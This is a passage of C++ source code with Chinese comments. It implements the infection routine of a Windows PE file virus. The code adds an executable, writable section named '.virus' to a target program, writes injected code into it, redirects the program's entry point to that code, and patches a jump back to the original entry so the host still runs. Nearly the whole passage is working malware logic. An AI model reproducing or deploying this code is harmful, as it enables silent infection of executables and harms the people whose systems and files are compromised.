pDosHeader->e_lfanew); ////////////////////////////////////////////////////////////////////////// //*******此时的指针信息******* //*******pMapOfFile : 原映射文件的开始 //*******pDosHeader : 原映射文件的DOS头也就是文件开始,只不过类型不一样 //*******pNTHeader : 原映射文件的NT头 //*******pNewFileHeader : 新文件的开始 //*******pNewFileNtHeader : 新文件的NT头 ////////////////////////////////////////////////////////////////////////// //**************************************************************** //*******修改新文件的节表信息******* //**************************************************************** int nSecNum; nSecNum = pNtHeader->FileHeader.NumberOfSections; IMAGE_SECTION_HEADER *pLastSec , *pNewSec; // *******定位到原文件中的最后一个节表******* pLastSec = (IMAGE_SECTION_HEADER*)((PBYTE)pNewFileNtHeader + sizeof(IMAGE_NT_HEADERS) + (nSecNum-1) * sizeof(IMAGE_SECTION_HEADER)); // *******pNewSec为最后一个节表的结尾处,也就是新加节表的开头******* pNewSec = pLastSec + 1; //*******修改新增节表的相关信息******* //*****节表总数加1***** pNewFileNtHeader->FileHeader.NumberOfSections ++; //*****修改新节的文件偏移***** pNewSec->PointerToRawData = pLastSec->PointerToRawData + pLastSec->SizeOfRawData; //*****修改新节的文件尺寸***** int nAlignNum; nAlignNum = dwFunCodeLen / pNewFileNtHeader->OptionalHeader.FileAlignment; if (dwFunCodeLen % pNewFileNtHeader->OptionalHeader.FileAlignment != 0) { nAlignNum++; } pNewSec->SizeOfRawData = nAlignNum * pNewFileNtHeader->OptionalHeader.FileAlignment; //*****修改所有代码长度按内存页对齐后的大小***** nAlignNum = dwFunCodeLen / pNewFileNtHeader->OptionalHeader.SectionAlignment; if (dwFunCodeLen % pNewFileNtHeader->OptionalHeader.SectionAlignment != 0) { nAlignNum ++; } pNewFileNtHeader->OptionalHeader.SizeOfCode += nAlignNum * pNewFileNtHeader->OptionalHeader.SectionAlignment; //*****修改文件内存映像尺寸***** pNewFileNtHeader->OptionalHeader.SizeOfImage += nAlignNum * pNewFileNtHeader->OptionalHeader.SectionAlignment; //*****修改新节的内存偏移量***** //*****用原最后节的内存偏移加上原最后节对齐后的内存尺寸的大小***** nAlignNum = pLastSec->Misc.VirtualSize / pNewFileNtHeader->OptionalHeader.SectionAlignment; if (pLastSec->Misc.VirtualSize % pNewFileNtHeader->OptionalHeader.SectionAlignment != 0) { nAlignNum ++; } pNewSec->VirtualAddress = nAlignNum * pNewFileNtHeader->OptionalHeader.SectionAlignment + pLastSec->VirtualAddress; //*****修改新节的内存尺寸***** pNewSec->Misc.VirtualSize = dwFunCodeLen; //*****更新新节属性***** pNewSec->Characteristics = IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE; //*****更新节名***** strcpy((char*)pNewSec->Name , ".virus"); //*****更新入口地址***** pNewFileNtHeader->OptionalHeader.AddressOfEntryPoint = pNewSec->VirtualAddress; BOOL bWrite; DWORD dwHeaderSize , dwWriten; dwHeaderSize = (DWORD)(pNewFileNtHeader->OptionalHeader.SizeOfHeaders); bWrite = WriteFile(hNewFile , (LPVOID)pNewFileHeader , dwHeaderSize , &dwWriten , NULL); //*****向文件中添加程序代码***** DWORD dwSetFileP; //*****定位到新文件中新节开始处***** dwSetFileP = SetFilePointer(hNewFile , pNewSec->PointerToRawData , NULL , FILE_BEGIN); if (!dwSetFileP) { cout << "SetFilePointer Error!" << endl; goto CloseNewFileHandle; } //*****写入程序代码***** bWrite = WriteFile(hNewFile , (LPVOID)dwFunBegAddr , dwFunCodeLen , &dwWriten , NULL); if (!bWrite) { cout << "Write Virus Code Error!" << endl; goto CloseNewFileHandle; } //*****定位到文件尾部***** dwSetFileP = SetFilePointer(hNewFile , pNewSec->PointerToRawData + pNewSec->SizeOfRawData , NULL , FILE_BEGIN); if (!dwSetFileP) { cout << "SetFilePointer End Error!" << endl; goto CloseNewFileHandle; } //*****设定文件结束***** if (!SetEndOfFile(hNewFile)) { cout << "SetEndOfFile Error!" << endl; goto CloseNewFileHandle; } //*******修正原入口地址******* PBYTE pModifyAddr; pModifyAddr = (PBYTE)pNewSec->VirtualAddress; pModifyAddr += dwFunCodeLen; //printf("%x\n" , pModifyAddr); int nSub; //跳转的距离 nSub = (PBYTE)(pNtHeader->OptionalHeader.AddressOfEntryPoint) - pModifyAddr; DWORD dwModifyLoca; dwModifyLoca = pNewSec->PointerToRawData; dwModifyLoca = dwModifyLoca + dwFunCodeLen - 5; //dwModifyLoca ++; // *****定位到程序代码最后的五个字节处***** dwSetFileP = SetFilePointer(hNewFile , dwModifyLoca , NULL , FILE_BEGIN); if (!dwSetFileP) { cout << "Modify Address SetFilePointer Error!" << endl; goto CloseNewFileHandle; } //*****修正jmp指令***** BYTE bJmp; bJmp = 0XE9; bWrite = WriteFile(hNewFile , &bJmp , 1 , &dwWriten , NULL); if (!bWrite) { cout << "Modify Address WriteFile Error!" << endl; goto CloseNewFileHandle; } //*****修正跳转地址***** bWrite = WriteFile(hNewFile , &nSub , 4 , &dwWriten , NULL); if (!bWrite) { cout << "Modify Address WriteFile Error!" << endl; goto CloseNewFileHandle; } //**************************************************************** //*******扫尾工作******* //**************************************************************** CloseNewFileHandle: CloseHandle(hNewFile); FreeViewOfMap: UnmapViewOfFile(pMapOfFile); CLOSEMAPHANDLE: CloseHandle(hMapFile); CLOSEFILEHANDLE: CloseHandle(hFile); }